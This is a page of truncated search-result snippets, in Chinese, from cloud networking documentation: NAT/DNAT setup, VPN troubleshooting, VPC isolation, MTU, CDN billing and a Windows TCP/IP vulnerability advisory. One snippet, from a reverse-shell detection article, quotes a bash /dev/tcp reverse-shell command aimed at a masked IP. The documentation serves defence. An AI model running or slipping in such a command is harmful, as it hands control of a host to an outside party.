公网连通FAQ
云防火墙拦截 云防火墙的互联网边界防火墙可以帮助您检测互联网和公网IP资产间的通信流量。如果为 EIP 开启了云防火墙，可能存在访问控制策略对流量进行了拦截。设置访问控制策略，请参见 互联网边界（出入双向流量）。绑定资源安全策略...
使用云边通信Raven组件
Raven组件会通过在网关节点之间构建通道实现跨域通信的目的，默认会在节点池中随机选择一些网关节点，如果您需要指定某些节点作为网关节点，您可以使用以下命令选择：kubectl label node node-xxx raven.openyurt.io/gateway-node=true ...
创建和管理DNAT条目
端口设置 选择DNAT映射的方式：任意端口：该方式属于IP映射，任何访问该公网IP的请求都将转发到目标ECS实例上，目标ECS实例也可以使用该公网IP主动访问公网。说明 DNAT条目中配置了IP映射方式的EIP不能再被其他DNAT条目或SNAT条目使用。...
ASM网关概述
在ASM网关中配置JWT认证 当您需要实现动态的访问控制时，可以在ASM网关中接入OPA（Open Policy Agent）执行引擎，根据用户身份或请求内容定制授权策略，实时控制服务间的通信行为，有效防止未经授权的访问并降低数据泄露风险，加强网格应用...
迁移方案概述
说明 VPC私网SLB实例同时挂载经典网络和专有网络ECS时，如果使用四层（TCP和UDP协议）监听，目前无法在经典网络ECS上获取客户端的真实IP，但在专有网络ECS上还可以正常获取客户端的真实IP。对七层监听（HTTP和HTTPS协议）没有影响，可以...
网络流量路径说明
出网流量路径 CLB 和后端ECS之间是通过内网进行通信的。如果ECS仅仅处理来自 CLB 的请求，可以不购买公网带宽（ECS、公网IP、弹性公网IP（Elastic IP Address，简称EIP）、任播弹性公网IP（Anycast Elastic IP Address，简称Anycast EIP）...
产品架构
出网流量路径 CLB 和后端ECS之间是通过内网进行通信的。如果ECS仅仅处理来自 CLB 的请求，可以不购买公网带宽（ECS、公网IP、弹性公网IP（Elastic IP Address，简称EIP）、任播弹性公网IP（Anycast Elastic IP Address，简称Anycast EIP）...
在同一个VPC内切换公网NAT网关实例
本文是以变更NAT网关所属交换机为例进行介绍，在操作的过程中，同时完成了变更NAT网关的私网IP地址。如果您需要通过在同一个交换机下切换NAT网关来变更其私网IP地址，也可以参考本文进行操作。登录VSW1下的ECS1实例。执行 ping 命令测试...
安全总览
新建连接数：客户端每秒内新增的与DDoS高防通信的TCP连接数。网络层攻击事件、规格超限告警、目的限速事件（图示③）网络层攻击事件：将光标放置在被攻击的IP或端口上，可以查看被攻击的IP和端口信息、攻击的类型和峰值、防护结果。规格...
使用路径分析
重要 在为SSL-VPN连接创建路径分析的过程中，需要使用VPN网关为客户端分配的私网IP地址，因此您需要确保客户端已成功连接至VPN网关，并已经获得私网IP地址。您可以在 VPN网关管理控制台 查看系统为客户端分配的私网IP地址。具体操作，请...
创建和管理VPC NAT网关的DNAT条目
选择私网IP地址 选择要通过DNAT规则进行通信的私网IP地址。您可以通过以下两种方式指定私网IP地址。通过ECS或弹性网卡进行选择：从ECS实例或弹性网卡列表中选择私网IP地址。通过手动输入：输入目标私网IP地址。端口设置 选择DNAT映射的方式...
自主排查SSL-VPN连接问题
使用SSL-VPN连接的过程中，如果SSL-VPN连接异常，您可以根据客户端的日志信息、VPN网关管理控制台SSL-VPN连接的日志信息自主排查问题。背景信息 本文汇总了SSL-VPN连接常见错误及排查方法，您可以通过客户端的日志信息和VPN网关管理控制台...
典型应用
1434 SQL Server SQL Server的UDP端口，用于返回SQL Server使用了哪个TCP/IP端口。1521 Oracle Oracle通信端口，ECS实例上部署了Oracle SQL需要放行的端口。3306 MySQL MySQL数据库对外提供服务的端口。3389 Windows Server Remote Desktop...
限制VPC间互通
通过 ping 命令 ping VPC2下的ECS2实例的IP地址，验证通信是否正常。经验证，ECS1实例不能访问ECS2实例。登录VPC2下的ECS2实例。通过 ping 命令 ping VPC1下的ECS1实例的IP地址，验证通信是否正常。经验证，ECS2实例不能访问ECS1实例。完成...
漏洞公告|Windows TCP/IP远程执行代码漏洞（CVE-2020-...
2020年10月13日，微软发布预警，Windows TCP/IP堆栈不正确的处理ICMPv6 Router Advertisement（路由通告）数据包时，存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。该漏洞（CVE-2020-...
限制VPC间互通
通过 ping 命令 ping VPC2下的ECS2实例的IP地址，验证通信是否正常。经验证，ECS1实例不能访问ECS2实例。登录VPC2下的ECS2实例。通过 ping 命令 ping VPC1下的ECS1实例的IP地址，验证通信是否正常。经验证，ECS2实例不能访问ECS1实例。完成...
DHCP选项集概述
金融云支持的地域 区域 支持DHCP选项集的地域 亚太 华南1 金融云、华东2 金融云、华北2 金融云（邀测）DHCP选项集功能介绍 动态主机配置协议DHCP是一种局域网的网络协议，提供了将配置信息传递到TCP/IP网络服务器的标准。创建ECS实例时，...
网络最大传输单元MTU
TCP-固定MSS 在TCP建立连接期间，两个主机会为连接通告自己的 最大分段大小（MSS），MSS表示系统在TCP分段（不包括TCP和IP标头）中接受的最大数据包长度。MSS与MTU的关系为：MSS=MTU-（IP标头+TCP标头）。因此，为了保证数据包正常通信，...
云安全中心反弹Shell多维检测技术详解
第一类反弹Shell：直接重定向Shell的输入输出到Socket 该类型反弹Shell最典型的例子是：bash-i>&/dev/tcp/10.10.XX.XX/666 0>&1 以下介绍直接重定向Shell解释器的输入输出到Socket类型的常见案例。案例一：bash-i>&/dev/tcp/10.10.XX.XX/...
为什么监控查询流量、用量查询流量与日志统计流量有...
监控查询流量、用量查询流量统计的是实际产生的网络流量，而日志统计流量统计的是应用层产生的流量，由于TCP/IP包头和TCP重传等原因，实际的计费流量（也包括监控查询流量）是通过日志统计流量的1.1倍。问题现象 为什么通过 CDN 控制台...
为什么监控查询流量、用量查询流量与日志统计流量有...
监控查询流量、用量查询流量统计的是实际产生的网络流量，而日志统计流量统计的是应用层产生的流量，由于TCP/IP包头和TCP重传等原因，实际的计费流量（也包括监控查询流量）是通过日志统计流量的1.1倍。问题现象 为什么通过 DCDN 控制台...
方案概述
配置方案说明 在通过私网VPN网关实现私网流量加密通信的过程中，根据VBR实例和VPN网关运行的协议不同，可分为以下三个配置方案，下表为您介绍三个配置方案的区别以及相关配置教程。配置方案 配置说明 配置教程 VPN网关连接中断后的通信影响...
计费相关
计费流量与日志流量的区别 加速域名日志中记录的流量数据是应用层日志统计出的流量，由于TCP/IP包头消耗、TCP重传等因素，实际产生的网络流量比应用层统计到的流量高出7%~15%。PCDN产品按照业界标准，在原有日志流量基础上增加10%作为网络...
产品架构
非IP设备：指不支持TCP/IP协议栈的设备，例如ZigBee、BT、KNX、ModBus等，需要通过集成了Link SDK的网关设备，再接入到阿里云物联网平台。子设备需要通过网关代理建连，网关集成LinkSDK，子设备与网关之间的通信方式由用户自定义，C Link ...
资源包介绍
IP应用加速（TCP/UDP）流量 IP应用加速下行流量专用资源包，目前仅支持中国内地区域请求抵扣，支持叠加购买，存在多个IP应用加速（TCP/UDP）流量资源包时，优先抵扣即将过期的资源包。系统每小时会统计您产生的IP应用加速（TCP/UDP）流量，...
应用配置中各个节点之间如何进行通信
在传统环境中，系统的各个节点之间是通过IP地址通信。但是在本托管平台上，节点之间的IP地址实现并不可知；只有在应用被部署完成之后，IP地址才被分配。因此，节点间的访问，并不能通过IP来实现，而是采用节点的服务名称，代替IP。
应用配置中各个节点之间如何进行通信
在传统环境中，系统的各个节点之间是通过IP地址通信。但是在本托管平台上，节点之间的IP地址实现并不可知；只有在应用被部署完成之后，IP地址才被分配。因此，节点间的访问，并不能通过IP来实现，而是采用节点的服务名称，代替IP。
CNAME解析接入非网站业务
非网站（四层）业务接入DDoS高防时，您在端口配置中添加转发规则，并将业务地址设置为高防IP即可。但在某些场景下，您可能需要用域名来接入四层业务，并实现业务关联多高防IP且多高防IP间自动切换流量。这种情况下，推荐您通过添加域名并...
ECS实例多次出现无法连接内网或外网服务器的端口
TCP/IP无法建立传出连接，因为选定的本地终结点最近用于连接到相同的远程终结点。当以高速率打开和关闭传出连接时，会导致所有可用的本地端口被使用，并迫使TCP/IP重新使用本地端口进行传出连接，此时通常会产生这种错误。为了最大限度地...
Windows系统挂载SMB协议文件系统
在 高级TCP IP设置 对话框中，选择 WINS>启用TCP/IP上的NetBIOS。选择 所有程序>附件>运行 或使用快捷键 Win+R，输入 services.msc 进入本地服务。在服务中找到TCP/IP NetBIOS Helper，确认状态为 正在运行，启动类型为 自动。正常情况下，...
为TCP流量设置授权策略
展开查看tcp-echo.yaml apiVersion:v1 kind:Service metadata:name:tcp-echo labels:app:tcp-echo service:tcp-echo spec:ports:name:tcp port:9000-name:tcp-other port:9001 selector:app:tcp-echo-apiVersion:apps/v1 kind:Deployment ...
为TCP流量设置授权策略
展开查看tcp-echo.yaml apiVersion:v1 kind:Service metadata:name:tcp-echo labels:app:tcp-echo service:tcp-echo spec:ports:name:tcp port:9000-name:tcp-other port:9001 selector:app:tcp-echo-apiVersion:apps/v1 kind:Deployment ...
Windows实例通过外部访问网络不通的处理
Windows实例TCP/IP协议栈自身Bug或者兼容性问题导致。Windows实例安装了路由与远程服务后，配置错误。Windows实例路由表、网络配置错误。解决方案 根据以上问题原因，此处分别介绍通过逐步排查和抓网络包分析两种处理方法。方案一：逐步...
DescribeForwardTableEntries-查询DNAT条目
101.XXX.XXX.7 StandbyStatus string 备用弹性公网 IP 的状态 Running：开启 Stopping：关闭中 Stopped：关闭 Starting：启动中 Stopped 示例 正常返回示例 JSON 格式 {"RequestId":"473469C7-AA6F-4DC5-B3DB-A3DC0DE3C83E","PageNumber":...
应用管理
操作列由用量监控、通信记录、查询AppKey及更多功能组成，如下所示：功能 描述 用量监控 查询该应用下不同音视频规格的通信时长，具体操作，请参见 通信时长。通信记录 查询该应用下全链路通话数据（包含通信质量和频道数据），具体操作，...
应用管理
操作列由用量监控、通信记录、查询AppKey及更多功能组成，如下所示：功能 描述 用量监控 查询该应用下不同音视频规格的通信时长，具体操作，请参见 通信时长。通信记录 查询该应用下全链路通话数据（包含通信质量和频道数据），具体操作，...
TCP连接数的计算逻辑是什么？
本文介绍使用SAE时，如何计算TCP...SAE TCP总连接数＝命令返回中TCP的总值 TCP活跃连接数＝命令返回中 estab 值 TCP非活跃连接数＝TCP总连接数-TCP活跃连接数 您可通过一键复制安装命令快捷安装 ss 命令。具体操作，请参见 一键复制安装命令。
管理标签
在顶部菜单栏处，选择弹性公网IP的地域。在 弹性公网IP 页面，找到目标弹性公网IP，将鼠标悬停在 标签 列的 图标上，然后单击气泡框中的 绑定 或 编辑。如果未显示 标签 列，可通过 EIP 列表右上方 设置展示标签列表项。在 编辑标签 对话框...
域名独享IP
启用独享IP的域名，不会受到其他域名（默认使用同一个WAF共享IP）遭受大流量DDoS攻击的影响。什么是共享IP、独享IP CNAME接入 方式下，所有接入同一个WAF实例防护的域名默认共享使用同一个WAF IP来监听相关业务请求。该WAF IP即WAF共享IP，...
IP白名单与可信IP的区别
本文为您详细介绍IP白名单与可信IP的区别。IP白名单 开启IP白名单功能后，只有白名单内的IP能访问当前的加速域名，白名单以外的IP均无法访问当前的加速域名，请谨慎操作。可信IP 开启可信IP功能后，SCDN不会对白名单内的可信IP进行网络攻击...
- 产品推荐
- 这些文档可能帮助您